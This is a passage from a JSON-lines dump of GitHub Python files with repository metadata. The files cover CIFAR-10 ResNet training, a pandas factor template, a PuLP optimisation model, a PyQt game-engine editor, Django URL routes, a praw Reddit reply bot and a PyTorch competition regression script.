cooldown=0, patience=5, min_lr=0.5e-6)\n\tcallbacks = [checkpoint, lr_red, lr_scheduler]\n\n\tif not args.data_augmentation:\n\t\tmodel_resnet_fcn.fit(\n\t\t\tx_train, \n\t\t\ty_train,\n\t\t\tbatch_size=args.batch_size,\n\t\t\tepochs=args.epochs_res,\n\t\t\tvalidation_data=(x_test, y_test),\n\t\t\tshuffle=True,\n\t\t\tcallbacks=callbacks\n\t\t)\n\telse:\n\t\tprint('Using real-time data augmentation.')\n\t\t# This will do preprocessing and realtime data augmentation:\n\t\tdatagen = ImageDataGenerator(\n\t\t\tfeaturewise_center=False, # set input mean to 0 over the dataset\n\t\t\tsamplewise_center=False, # set each sample mean to 0\n\t\t\tfeaturewise_std_normalization=False, # divide inputs by std of the dataset\n\t\t\tsamplewise_std_normalization=False, # divide each input by its std\n\t\t\tzca_whitening=False, # apply ZCA whitening\n\t\t\tzca_epsilon=1e-06, # epsilon for ZCA whitening\n\t\t\trotation_range=0, # randomly rotate images in the range (degrees, 0 to 180)\n\t\t\t# randomly shift images horizontally (fraction of total width)\n\t\t\twidth_shift_range=0.1,\n\t\t\t# randomly shift images vertically (fraction of total height)\n\t\t\theight_shift_range=0.1,\n\t\t\tshear_range=0., # set range for random shear\n\t\t\tzoom_range=0., # set range for random zoom\n\t\t\tchannel_shift_range=0., # set range for random channel shifts\n\t\t\t# set mode for filling points outside the input boundaries\n\t\t\tfill_mode='nearest',\n\t\t\tcval=0., # value used for fill_mode = \"constant\"\n\t\t\thorizontal_flip=True, # randomly flip images\n\t\t\tvertical_flip=False, # randomly flip images\n\t\t\t# set rescaling factor (applied before any other transformation)\n\t\t\trescale=None,\n\t\t\t# set function that will be applied on each input\n\t\t\tpreprocessing_function=None,\n\t\t\t# image data format, either \"channels_first\" or \"channels_last\"\n\t\t\tdata_format=None,\n\t\t\t# fraction of images reserved for validation (strictly between 0 and 1)\n\t\t\tvalidation_split=0.0\n\t\t)\n\n\t\t# Compute quantities required for feature-wise normalization\n\t\t# (std, mean, and principal components if ZCA whitening is applied).\n\t\tdatagen.fit(x_train)\n\n\t\t# Fit the model on the batches generated by datagen.flow().\n\t\tmodel_resnet_fcn.fit_generator(\n\t\t\tdatagen.flow(\n\t\t\t\tx_train, \n\t\t\t\ty_train,\n\t\t\t\tbatch_size = args.batch_size\n\t\t\t),\n\t\t\tsteps_per_epoch = x_train.shape[0] // args.batch_size,\n\t\t\tepochs = args.epochs_res,\n\t\t\tvalidation_data = (x_test, y_test),\n\t\t\tcallbacks = callbacks\n\t\t)\n\n\t# Save models/weights\n\t# save_model(args, model_og_fcn, model_og_fcn_name)\n\t# save_model(args, model_resnet_fcn, model_resnet_fcn_name)\n\n\t# Get Scores for models\n\t# scores_og_fcn = model_og_fcn.evaluate(x_test, y_test, verbose=1)\n\tmodel_resnet_fcn = tf.keras.models.load_model('saved_models/keras_cifar10_resnet_fcn_model-checkpoint.h5')\n\tscores_resnet_fcn = model_resnet_fcn.evaluate(x_test, y_test, verbose=1)\n\n\t# Get horse test for FCN models to show FCN works\n\t# label_og_fcn, conf_og_fcn = horse_test(model_og_fcn, class_labels)\n\tlabel_resnet_fcn, conf_resnet_fcn = horse_test(model_resnet_fcn, class_labels)\n\t\n\t# Other FCN tests\n\tgt_list = ['bird', 'cat', 'cat', 'deer', 'dog', 'dog', 'horse', 'horse']\n\tout_list = []\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/bird_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/cat_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/cat2_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/deer_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/dog_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/dog2_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/horse_64.jpg'))\n\tout_list.append(horse_test(model_resnet_fcn, class_labels, 'images/horse2_64.jpg'))\n\n\t# Save scores for models and horse test\n\t# results_og_fcn = f'\\nOriginal FCN:\\nTest loss: {scores_og_fcn[0]}, Test accuracy: {scores_og_fcn[1]}\\nHorse Test not 32x32x3 NO RESIZE: {label_og_fcn} @ {conf_og_fcn}%\\n'\n\tresults_resnet_fcn = (\n\t\tf'\\nResNet FCN:'\n\t\tf'\\nTest loss: {scores_resnet_fcn[0]}, Test accuracy: {scores_resnet_fcn[1]}'\n\t\tf'\\nHorse Test not 32x32x3 NO RESIZE: {label_resnet_fcn} @ {conf_resnet_fcn}%\\n'\n\t)\n\t# print(results_og_fcn)\n\tprint(results_resnet_fcn)\n\twith open('output_part2.txt', 'w') as of:\n\t\t# Write model summaries\n\t\t# of.write('ORIGINAL FCN MODEL SUMMARY:\\n')\n\t\t# model_og_fcn.summary(print_fn=lambda x: of.write(x + '\\n'))\n\t\t# of.write('\\n')\n\t\tof.write('RESNET FCN MODEL SUMMARY:\\n')\n\t\tmodel_resnet_fcn.summary(print_fn=lambda x: of.write(x + '\\n'))\n\t\tof.write('\\n')\n\n\t\t# Write results\n\t\t# of.write(results_og_fcn)\n\t\tof.write(results_resnet_fcn)\n\n\t\t# Prints FCN tests\n\t\tprint('\\n')\n\t\tof.write('\\n')\n\t\tfor o, gt in zip(out_list, gt_list):\n\t\t\tlabel, conf = o\n\t\t\tfcn_test_str = f'{gt}: {label} @ {conf}%'\n\t\t\tprint(fcn_test_str)\n\t\t\tof.write(fcn_test_str + '\\n')\n\nif __name__ == '__main__':\n\tmain()","repo_name":"sawyermade/resnet_cifar10","sub_path":"tf2_keras.py","file_name":"tf2_keras.py","file_ext":"py","file_size_in_byte":15527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25125723388","text":"import pandas as pd\nimport numpy as np\nimport ReadDataFromCSV as rd\n\"\"\"read data\"\"\"\n\n\n'''compute signal'''\nFactor = pd.DataFrame(index=price.index, columns=price.columns)\n\n\"\"\"store the Factor in correct index\"\"\"\ndateList = []\nfor i, item in enumerate(Factor.index):\n datelist = str(item.date()).split(\"-\")\n datestr = datelist[0] + datelist[1] + datelist[2]\n dateList.append(datestr)\n\nFactor.index = dateList\n\nFactor.to_csv(\"name.csv\")\n","repo_name":"Zzzzero/MultiFactorStockSelection","sub_path":"TEMPLATE_FACTOR.py","file_name":"TEMPLATE_FACTOR.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6253033089","text":"import pulp\nimport header\n\n#DADOS\n\ncusto_equipa = header.readArrayFromFile('eqvendas.txt') #custo equipa de vendas\nhorasdisp = header.readArrayFromFile('horasdisp.txt') #horas disponiveis\nhoras = header.readMatrixFromFile('horas.txt') #horas no setor s para produzir f\nlucro = header.readArrayFromFile('lucro.txt') #lucro\nprocura = header.readArrayFromFile('procura.txt') #procura\nminprod = header.readIntegerFromFile('minprod.txt') #minimo de producao\n\n#CONJUNTOS\n\nnumFam = range(0,len(procura)) \nnumSet = range(0,len(horasdisp)) \n\n#VARIAVEIS DE DECISAO\nx = pulp.LpVariable.dicts('xf',numFam,cat=pulp.LpContinuous,lowBound=0) #Quantidade produzida da familia j (xi >= 0)\nev = pulp.LpVariable.dicts('ev',numFam,cat=pulp.LpBinary) #Se a familia tem equipa de vendas associada ou nao (ev = 0 || ev = 1 )\n\n#CRIAR MODELO\nmodelo = pulp.LpProblem('producao', pulp.LpMaximize)\n\n#FUNCAO OBJETIVO\nmodelo += (sum(lucro[i]*x[i] for i in numFam) - sum(ev[i]*custo_equipa[i] for i in numFam))\n\n#RESTRICOES\n\nfor j in numSet:\n modelo += sum(horas[j][i]*x[i] for i in numFam) <= horasdisp[j],'LimiteHoras_{}'.format(j)\n\nfor i in numFam:\n modelo += x[i] >= minprod*ev[i],'MinimoProducao_{}'.format(i)\n\nfor i in numFam:\n modelo += x[i] <= procura[i]*ev[i],'ProcuraMaxima_{}'.format(i)\n \n#RESOLVER\nstatus=modelo.solve() \n\nif status==pulp.LpStatusOptimal:\n print (modelo.objective.value()) #imprime valor FO otimo na janela de output\n for i in numFam:\n print(ev[i], ev[i].varValue,'/', x[i], x[i].varValue) #imprime nome e valor no otimo da variavel y\n modelo.writeLP('mylp') #cria ficheiro LP do modelo","repo_name":"lborges123/IO-Mayhugh-Manufacturing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22290562788","text":"from PyQt4 import QtGui, QtCore\n\nfrom editor_qt import Editor\nfrom common import Component, WidgetItemComponent, TreeWidgetItemComponent\nfrom engine.movement import MovementComponent, VaryingMovementComponent, BodyComponent\nfrom engine.common import Vector2\nfrom event import Event, EVENT_MAPPING, EVENT_QUEUE, EVENT_MANAGER\n\n\nclass Body(object):\n def __init__(self, parent, component):\n self.parent = parent\n self.component = component\n\n\nclass MovementDefinitionEditor(Editor):\n def __init__(self, context):\n super(MovementDefinitionEditor, self).__init__(context,\n QtGui.QGroupBox('Movement'))\n # gui elements\n self.layout = QtGui.QGridLayout()\n self.move_name_label = QtGui.QLabel('Movement Name')\n self.move_name_field = QtGui.QLineEdit()\n self.velocity_type_group = QtGui.QButtonGroup()\n self.velocity_standard_type = QtGui.QRadioButton('Standard')\n self.velocity_pulse_type = QtGui.QRadioButton('Pulse')\n self.velocity_group = QtGui.QGroupBox('Velocity')\n self.velocity_list_view = QtGui.QListWidget()\n self.velocity_layout = QtGui.QGridLayout()\n self.body_label = QtGui.QLabel('Choose Body')\n self.body_tree_view = QtGui.QTreeWidget()\n self.body_layout = QtGui.QVBoxLayout()\n self.parent_label = QtGui.QLabel('Choose Parent')\n self.parent_list_view = QtGui.QListWidget()\n self.parent_layout = QtGui.QVBoxLayout()\n self.movement_list_view = QtGui.QListWidget()\n self.add_movement_button = QtGui.QPushButton('Add Movement')\n self.update_movement_button = QtGui.QPushButton('Update Movement')\n self.remove_movement_button = QtGui.QPushButton('Remove Movement')\n self.movement_button_layout = QtGui.QVBoxLayout()\n\n # set up layout\n self.velocity_type_group.addButton(self.velocity_standard_type)\n self.velocity_type_group.addButton(self.velocity_pulse_type)\n self.layout.addWidget(self.move_name_label,0,0)\n self.layout.addWidget(self.move_name_field,0,1)\n self.velocity_layout.addWidget(self.velocity_standard_type,0,0)\n self.velocity_layout.addWidget(self.velocity_pulse_type,0,1)\n self.velocity_layout.addWidget(self.velocity_list_view,1,0)\n self.layout.addWidget(self.velocity_group,1,0)\n self.body_layout.addWidget(self.body_label)\n self.body_layout.addWidget(self.body_tree_view)\n self.layout.addLayout(self.body_layout,1,1)\n self.parent_layout.addWidget(self.parent_label)\n self.parent_layout.addWidget(self.parent_list_view)\n self.layout.addLayout(self.parent_layout,1,2)\n self.layout.addWidget(self.movement_list_view,2,0)\n self.movement_button_layout.addWidget(self.add_movement_button)\n self.movement_button_layout.addWidget(self.update_movement_button)\n self.movement_button_layout.addWidget(self.remove_movement_button)\n self.layout.addLayout(self.movement_button_layout,2,1)\n\n self.velocity_group.setLayout(self.velocity_layout)\n self.group.setLayout(self.layout)\n\n # internal events\n EVENT_MAPPING.register_handler('selected_entity', self.set_entity)\n EVENT_MAPPING.register_handler('added_component', self.add_component)\n EVENT_MAPPING.register_handler('removed_component', self.remove_component)\n EVENT_MAPPING.register_handler('vector_added', self.add_vector)\n EVENT_MAPPING.register_handler('vector_removed', self.remove_vector)\n\n # wire up events\n self.add_movement_button.clicked.connect(self.add_movement)\n self.update_movement_button.clicked.connect(self.update_movement)\n self.remove_movement_button.clicked.connect(self.remove_movement)\n self.movement_list_view.currentItemChanged.connect(self.select_movement)\n\n def select_movement(self):\n '''\n update the visual state of the widget, which includes\n field values, radio buttons, selected list view items\n and selected tree view items\n '''\n selected_item = self.movement_list_view.currentItem()\n parent = selected_item.component.component.parent\n body = selected_item.component.component.body\n\n # set movement name\n self.move_name_field.setText(selected_item.text())\n\n # set radio button states based on\n # whether this movement component has a pulse velocity or \n # standard velocity set\n if selected_item.component.component.pulse_velocity is not None:\n self.velocity_pulse_type.setChecked(True)\n current_velocity = selected_item.component.component.pulse_velocity\n else:\n self.velocity_standard_type.setChecked(True) \n current_velocity = selected_item.component.component.velocity\n # then make sure that the proper vector object is selected\n for i in xrange(self.velocity_list_view.count()):\n item = self.velocity_list_view.item(i)\n if current_velocity == item.component:\n self.velocity_list_view.setCurrentRow(i)\n\n # deselect any selected parent\n for i in range(self.parent_list_view.count()):\n self.parent_list_view.setCurrentRow(-1)\n\n # find and select parent in parent list view\n for i in range(self.parent_list_view.count()):\n if not parent:\n break\n if self.parent_list_view.item(i).component.component == parent.component:\n # select this item\n self.parent_list_view.setCurrentRow(i)\n break\n\n # collapse the body tree view and deselect any selected items\n for i in range(self.body_tree_view.topLevelItemCount()):\n tl_item = self.body_tree_view.topLevelItem(i)\n for j in range(tl_item.childCount()):\n child_item = tl_item.child(j)\n child_item.setSelected(False)\n tl_item.setExpanded(False)\n\n # find and select the body in the body tree view\n for i in range(self.body_tree_view.topLevelItemCount()):\n if not body:\n break\n tl_item = self.body_tree_view.topLevelItem(i)\n for j in range(tl_item.childCount()):\n child_item = tl_item.child(j)\n if child_item.component.component == body.component:\n # expand parent and select this child item\n tl_item.setExpanded(True)\n self.body_tree_view.setCurrentItem(child_item)\n child_item.setSelected(True)\n break\n\n def update_movement(self):\n entity = self.context['selected_entity']\n selected_item = self.movement_list_view.currentItem()\n selected_component = selected_item.component\n inner_component = selected_component.component\n\n name = str(self.move_name_field.text())\n velocity = self.velocity_list_view.currentItem().component\n body = self.body_tree_view.currentItem().component\n parent_item = self.parent_list_view.currentItem()\n parent = None\n if parent_item:\n parent = parent_item.component\n\n selected_component.text = name\n inner_component.velocity = velocity\n inner_component.body = body\n inner_component.parent = parent\n\n def add_movement(self):\n entity = self.context['selected_entity']\n name = str(self.move_name_field.text())\n standard = self.velocity_standard_type.isChecked()\n pulse = self.velocity_pulse_type.isChecked()\n parent = self.parent_list_view.currentItem()\n body = self.body_tree_view.currentItem().component\n velocity_wrapper = self.velocity_list_view.currentItem().component\n if parent != None:\n parent = parent.component\n\n # create movement component object\n movement_component = MovementComponent(entity_id=entity,\n body=body,\n parent=parent,\n velocity=velocity_wrapper)\n movement_component_wrapper = Component(movement_component, name)\n widget_component = WidgetItemComponent(name, movement_component_wrapper)\n\n self.movement_list_view.addItem(widget_component)\n self.context['entities'][entity]['components']['movement'].append(movement_component_wrapper)\n\n # fire event\n new_event = Event('added_component',\n entity=entity,\n component_type='movement',\n component=movement_component_wrapper)\n EVENT_MANAGER.fire_event(new_event)\n\n def remove_movement(self):\n entity = self.context['selected_entity']\n selected_index = self.movement_list_view.currentRow()\n selected_item = self.movement_list_view.takeItem(selected_index)\n selected_component = selected_item.component\n\n # remove from context\n self.context['entities'][entity]['components']['movement'].remove(selected_component)\n\n # fire event\n new_event = Event('removed_component',\n entity=entity,\n component_type='movement',\n component=selected_component)\n EVENT_MANAGER.fire_event(new_event)\n\n def update(self):\n entity = self.context['selected_entity']\n # first update movement list\n self.movement_list_view.clear()\n # update vector list\n self.velocity_list_view.clear()\n if entity and entity != '':\n for movement in self.context['entities'][entity]['components']['movement']:\n widget_component = WidgetItemComponent(movement.text, movement)\n self.movement_list_view.addItem(widget_component)\n\n for vector in self.context['entities'][entity]['components']['vector']:\n widget_component = WidgetItemComponent(vector.text, vector)\n self.velocity_list_view.addItem(widget_component)\n \n\n def _find_bodies(self):\n entity = self.context['selected_entity']\n\n # first do a soft clear of the parent list view\n for i in range(self.parent_list_view.count()-1,-1,-1):\n item = self.parent_list_view.takeItem(i)\n\n # clear the body tree\n for i in range(self.body_tree_view.topLevelItemCount()-1,-1,-1):\n item = self.body_tree_view.takeTopLevelItem(i)\n # I think this is unnecessary since taking the top level item should clear its children\n #for j in range(item.childCount()-1,-1,-1):\n # child_item = item.takeChild(j)\n\n # populate parent tree with existing movement components\n available_parents = self.context['entities'][entity]['components']['movement']\n available_parents += self.context['entities'][entity]['components']['body']\n for component in available_parents:\n widget_item = WidgetItemComponent(component.text, component)\n self.parent_list_view.addItem(widget_item)\n\n # populate body tree with Vector2 components\n for comp_type, components in self.context['entities'][entity]['components'].iteritems():\n if comp_type == 'vector':\n for component in components:\n tl_tree_item = TreeWidgetItemComponent(component.text, component)\n self.body_tree_view.addTopLevelItem(tl_tree_item)\n for component in components:\n inner_comp = component.component\n for name in [x for x in dir(inner_comp) if not x.startswith('_')]:\n attr = inner_comp.__dict__[name]\n if type(attr).__name__ == 'Component':\n if attr.type_name == 'Vector2':\n tl_tree_item = TreeWidgetItemComponent(component.text, inner_comp)\n self.body_tree_view.addTopLevelItem(tl_tree_item)\n tree_item = TreeWidgetItemComponent(name, attr)\n tl_tree_item.addChild(tree_item)\n if type(attr).__name__ == 'Vector2':\n tl_tree_item = TreeWidgetItemComponent(component.text, inner_comp)\n self.body_tree_view.addTopLevelItem(tl_tree_item)\n tree_item = TreeWidgetItemComponent(name, attr)\n tl_tree_item.addChild(tree_item)\n\n\n def set_entity(self, event):\n self.update()\n self._find_bodies()\n\n def add_component(self, event):\n self._find_bodies()\n\n def remove_component(self, event):\n self._find_bodies()\n\n def add_vector(self, event):\n vector_component = event.vector_component\n widget_component = WidgetItemComponent(vector_component.text,\n vector_component)\n self.velocity_list_view.addItem(widget_component)\n\n def remove_vector(self, event):\n vector_component = event.vector_component\n count = self.velocity_list_view.count()\n for i in xrange(count-1,-1,-1):\n current_vector = self.velocity_list_view.item(i)\n if current_vector.component == vector_component:\n self.velocity_list_view.takeItem(i)\n","repo_name":"thagberg/phyte-engine","sub_path":"phyte/tools/movement_definition_qt.py","file_name":"movement_definition_qt.py","file_ext":"py","file_size_in_byte":13449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20919881358","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path(\"v1/\", include(\"django_rest_google_maps.api.v1.urls\", namespace=\"api-v1\")),\n]\n\n\nadmin.site.site_header = \"Customer Management Address\"\nadmin.site.site_title = \"Customer Management\"\nadmin.site.index_title = \"Welcome to Customer Management\"\n","repo_name":"phsantosjr/django_rest_google_maps","sub_path":"django_rest_google_maps/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43935828148","text":"import re\nimport sys\nimport praw\nimport argparse\nimport json\nimport random\nimport signal\nfrom datetime import datetime\n\nPROCESS_NAME = \"augument-impulsecommunicator\"\nNO_NOTIFY = False\n\n# register enhancing for use: https://www.reddit.com/prefs/apps\n\ndef signal_term_handler(signal, frame):\n exit_time = datetime.now().isoformat().replace(\"T\", \" \")\n print(exit_time, '|', PROCESS_NAME, 'terminated')\n sys.exit(0)\n\ndef critical_print(*messages, action=None):\n if action is not None:\n action()\n\n err_time = datetime.now().isoformat().replace(\"T\", \" \")\n print(err_time, \"|\", *messages, file=sys.stderr)\n sys.exit()\n\ndef main():\n # handle unix signal before exiting\n signal.signal(signal.SIGTERM, signal_term_handler)\n signal.signal(signal.SIGINT, signal_term_handler)\n\n start_time = datetime.now().isoformat().replace(\"T\", \" \")\n print(start_time, '|', PROCESS_NAME, 'started')\n\n # parse command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('-a', '--auth', default=[\"auth.conf\"], nargs=1,\n help=\"Path to file with auth settings.\")\n parser.add_argument('-r', '--run', default=[\"run.conf\"], nargs=1,\n help=\"Path to file with run settings.\")\n parser.add_argument('-n', '--no-notify', action='store_true', default=False,\n help=\"Disable log notification messages (REPLIES).\")\n command_arg = parser.parse_args()\n if command_arg.no_notify:\n NO_NOTIFY = True\n\n # set filenames for files with auth and run settings\n auth_filename = command_arg.auth[0]\n run_filename = command_arg.run[0]\n print(\"Auth file name: \", auth_filename)\n print(\"Run file name: \", run_filename)\n\n # load info from settings files\n auth_settings = load_auth_settings(auth_filename)\n run_settings = load_run_settings(run_filename)\n\n # reddit authentication\n try:\n my_user, subreddit = auth(auth_settings)\n except Exception as err:\n critical_print(\"Can't auth : \", err)\n\n # script main function executing\n try:\n process_comments_stream(my_user, subreddit, run_settings)\n except Exception as err:\n critical_print(\"Runtime error : \", err)\n\n# reddit authentication, username and subreddit obtaining\n# argument s - dict with auth settings\ndef auth(s: dict):\n reddit = praw.Reddit(user_agent=s.get(\"user_agent\"),\n client_id=s.get(\"client_id\"), client_secret=s.get(\"client_secret\"),\n username=s.get(\"username\"), password=s.get(\"password\"))\n my_user = reddit.user.me()\n\n auth_time = datetime.now().isoformat().replace(\"T\", \" \")\n print(auth_time, \"|\", PROCESS_NAME, \"authenticated, user name: '\", my_user, \"'\")\n subreddit = reddit.subreddit(s.get(\"subreddit\"))\n print(\"Subredit name: \", subreddit)\n return my_user, subreddit\n\n# main sctipt function\ndef process_comments_stream(my_user, subreddit, run_settings: dict) -> None:\n # process every comment obtained from reddit online stream\n for comment in subreddit.stream.comments():\n comment_body = comment.body.lower()\n parent_type = type(comment.parent())\n\n # process every rule for comment\n for rule in run_settings:\n # check name of commentor and permission of reply\n if (comment.author.name == rule.get(\"bot_name\")):\n correct_reply_on = check_reply_on(parent_type, rule.get(\"reply_on\"))\n if correct_reply_on:\n answer = random.choice(rule.get(\"answers\"))\n\n if not NO_NOTIFY:\n reply_time = datetime.now().isoformat().replace(\"T\", \" \")\n print(reply_time, \"| REPLY:\", comment_body, \":\", answer)\n\n if reply_to == \"bot\":\n comment.reply(answer)\n elif reply_to == \"invoker\":\n comment.parent().reply(answer)\n\n# return true if nessesary type of reply\ndef check_reply_on(parent_type, reply_on, reply_to):\n correct_reply_on = False\n if (parent_type is praw.models.reddit.comment.Comment) and (\n (reply_on == \"both\" or reply_on == \"comment\")):\n correct_reply_on = True\n\n if (parent_type is praw.models.reddit.submission.Submission) and (\n (reply_on == \"both\" or reply_on == \"post\")):\n\n # there are no invokers in this case\n if reply_to != \"invoker\":\n correct_reply_on = True\n\n return correct_reply_on\n\n# parse JSON file with auth settings and check it\ndef load_auth_settings(filename: str) -> dict:\n # read settings from JSON file\n try:\n read_file = open(filename, \"r\")\n except Exception as err:\n critical_print(\"Can't open file '\", filename, \"' : \", err, action=read_file.close)\n else:\n try:\n auth_settings = json.load(read_file)\n except Exception as err:\n critical_print(\"Impossible to parse file '\", filename, \"' : \", err, action=read_file.close)\n finally:\n read_file.close()\n\n # check type of auth settings\n auth_params = [\"user_agent\", \"client_id\", \"client_secret\", \"username\", \"password\" ,\"subreddit\"]\n if type(auth_settings) is not dict:\n critical_print(\"Incorrect root element in file '\", filename, \"'\")\n else:\n for auth_param in auth_params:\n if type(auth_settings.get(auth_param)) is not str:\n critical_print(\"Incorrect argument '\", auth_param, \"' in file '\", filename, \"'\")\n\n return auth_settings\n\n# parse JSON file with run settings\ndef load_run_settings(filename: str) -> list:\n # read settings from JSON file\n try:\n read_file = open(filename, \"r\")\n except Exception as err:\n critical_print(\"Can't open file '\", filename, \"' : \", err, action=read_file.close)\n else:\n try:\n run_settings = json.load(read_file)\n except Exception as err:\n critical_print(\"Impossible to parse file '\", filename, \"' : \", err, action=read_file.close)\n finally:\n read_file.close()\n\n # check type of run settings\n if type(run_settings) is not list:\n critical_print(\"Incorrect root element in file '\", filename, \"'\")\n else:\n for i, rule in enumerate(run_settings):\n if type(rule) is not dict:\n critical_print(\"Incorrect rule '\", str(i),\"' in file '\", filename, \"'\")\n else:\n #check str rule params \"bot_name\" and \"reply_on\"\n rule_params_str = [\"bot_name\", \"reply_on\", \"reply_to\"]\n for rule_param in rule_params_str:\n if type(rule.get(rule_param)) is not str:\n critical_print(\"Incorrect argument '\", rule_param, \"' in rule '\",\n str(i), \"' in file '\", filename, \"'\")\n\n # \"reply_on\" can be a \"post\", \"comment\" or \"both\"\n value = rule.get(\"reply_on\")\n if (value != \"post\") and (value != \"comment\") and (value != \"both\"):\n critical_print(\"Incorrect value for 'reply_on' in rule '\", str(i),\n \"' in file '\", filename, \"'. Possible values: post, comment, both\")\n\n # \"reply_to\" can be a \"bot\" or \"invoker\"\n value = rule.get(\"reply_to\")\n if (value != \"invoker\") and (value != \"bot\"):\n critical_print(\"Incorrect value for 'reply_to' in rule '\", str(i),\n \"' in file '\", filename, \"'. Possible values: bot, invoker\")\n\n #check rule param \"answers\"\n if type(rule.get(\"answers\")) is not list:\n critical_print(\"Incorrect argument 'answers' in rule '\",\n str(i), \"' in file '\", filename, \"'\")\n else:\n for answer in rule.get(\"answers\"):\n if type(answer) is not str:\n critical_print(\"Incorrect string value in parameter 'answers' in rule '\",\n str(i), \"' in file '\", filename, \"'\")\n\n return run_settings\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"IarcaniusI/augument-impulsecommunicator","sub_path":"augument-impulsecommunicator.py","file_name":"augument-impulsecommunicator.py","file_ext":"py","file_size_in_byte":8157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37403510090","text":"import pandas as pd\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport adabound\nfrom datetime import datetime\ntorch.set_default_tensor_type(torch.DoubleTensor)\n\ntrain=pd.read_csv(r'/home/deepank/Downloads/Bitgrit/softbank_comp1_data/competition_data/train_text.csv')\ntest=pd.read_csv(r'/home/deepank/Downloads/Bitgrit/softbank_comp1_data/competition_data/test.csv')\n#to be seen 30 or 31 or mean+std?\ntrain['span']=train['span']/30\ntest['span']=test['span']/30\ntrain=train.fillna(0)\ntest=test.fillna(0)\n\ny=train['target']\nx_test=test.drop(['id'],axis=1)\ntrain=train.drop(['id','target'],axis=1)\n\nX_train=torch.tensor(train.iloc[0:4000,0:361].values)\nX_train_val=torch.tensor(train.iloc[4000:,0:361].values)\nX_text=torch.tensor(train.iloc[:,361:].values)\nY_train=torch.tensor(y.iloc[0:4000].values).resize_((4000,1))\nY_train_val=torch.tensor(y.iloc[4000:].values).resize_((177,1))\nX_test=torch.tensor(x_test.values)\n\nclass Model_Bit(nn.Module):\n def __init__(self):\n super().__init__()\n \n self.REG=nn.Sequential(\n nn.Linear(378,1024),\n nn.BatchNorm1d(1024),\n nn.Dropout(p=0.2),\n nn.ELU(),\n nn.Linear(1024,512),\n nn.BatchNorm1d(512),\n nn.Dropout(p=0.2),\n nn.ELU(),\n nn.Linear(512,256),\n nn.BatchNorm1d(256),\n nn.Dropout(p=0.2),\n nn.ELU(),\n nn.Linear(256,128),\n nn.BatchNorm1d(128),\n nn.Dropout(p=0.2),\n nn.ELU(),\n nn.Linear(128,64),\n nn.BatchNorm1d(64),\n nn.Dropout(p=0.2),\n nn.ELU(),\n nn.Linear(64,1))\n \n def forward(self, x):\n x = self.REG(x)\n return x\n\nU,S,V = torch.svd(torch.t(X_text))\nPCA_X = torch.mm(X_text,U[:,:17])\nX_train=torch.cat((X_train,PCA_X[:4000,:]),dim=1)\nX_train_val=torch.cat((X_train_val,PCA_X[4000:,:]),dim=1)\n\nclass Model_PCA(nn.Module):\n def __init__(self):\n super().__init__()\n \n self.REG_PCA=nn.Sequential(\n nn.Linear(361,722),\n nn.ELU(),\n nn.Linear(722,256),\n nn.ELU(),\n nn.Linear(256,128),\n nn.ELU(),\n nn.Linear(128,17))\n \n def forward(self, x):\n x = self.REG_PCA(x)\n return x\n\n\n\nmodel_PCA = Model_PCA()\noptimizer_PCA= adabound.AdaBound(model_PCA.parameters(), lr=0.001,final_lr=0.01)\nmodel_PCA.train()\n\ncriterion = torch.nn.MSELoss()\nmodel = Model_Bit()\noptimizer = adabound.AdaBound(model.parameters(), lr=0.001,final_lr=0.01)\nmodel.train()\nprint('Starting PCA calculation')\nfor epoch in range(1,4001):\n optimizer_PCA.zero_grad()\n y_pca = model_PCA(X_train[:,:361])\n loss_pca = criterion(y_pca, X_train[:,361:])\n y_val_pca = model_PCA(X_train_val[:,:361])\n loss_pca_val=criterion(y_val_pca,X_train_val[:,361:])\n if epoch % 20==0:\n print(' epoch: ', epoch,' loss: ', loss_pca.item(),' valscore :',loss_pca_val.item(),' value: ', np.exp(-np.sqrt(loss_pca.item())))\n loss_pca.backward()\n optimizer_PCA.step()\ntorch.save(model_PCA.state_dict(), '/home/deepank/Downloads/model_PCA'+str(np.exp(-np.sqrt(loss_pca.item())))+'.pth')\nfinal_pca=model_PCA(X_test)\nX_test=torch.cat((X_test,final_pca),dim=1)\n\nprint('Starting Model Training')\n\nfor epoch in range(1,30001):\n optimizer.zero_grad()\n y_pred = model(X_train)\n loss = criterion(y_pred, Y_train)\n y_val = model(X_train_val)\n loss_val=criterion(y_val,Y_train_val)\n if epoch % 20==0:\n print(' epoch: ', epoch,' loss: ', loss.item(),' valscore :',loss_val.item(),' value: ', np.exp(-np.sqrt(loss.item())))\n loss.backward()\n optimizer.step()\n if epoch%1000==0:\n torch.save(model.state_dict(), '/home/deepank/Downloads/model'+str(np.exp(-np.sqrt(loss.item())))+'.pth')\na=30001\na=int(input('Want to continue?'))\nwhile a!=0:\n for epoch in range(a,a+1000):\n optimizer.zero_grad\n y_pred = model(X_train)\n loss = criterion(y_pred, Y_train)\n y_val = model(X_train_val)\n loss_val=criterion(y_val,Y_train_val)\n if epoch % 20==0:\n print(' epoch: ', epoch,' loss: ', loss.item(),' valscore :',loss_val.item(),' value: ', np.exp(-np.sqrt(loss.item())))\n loss.backward()\n optimizer.step()\n torch.save(model.state_dict(), 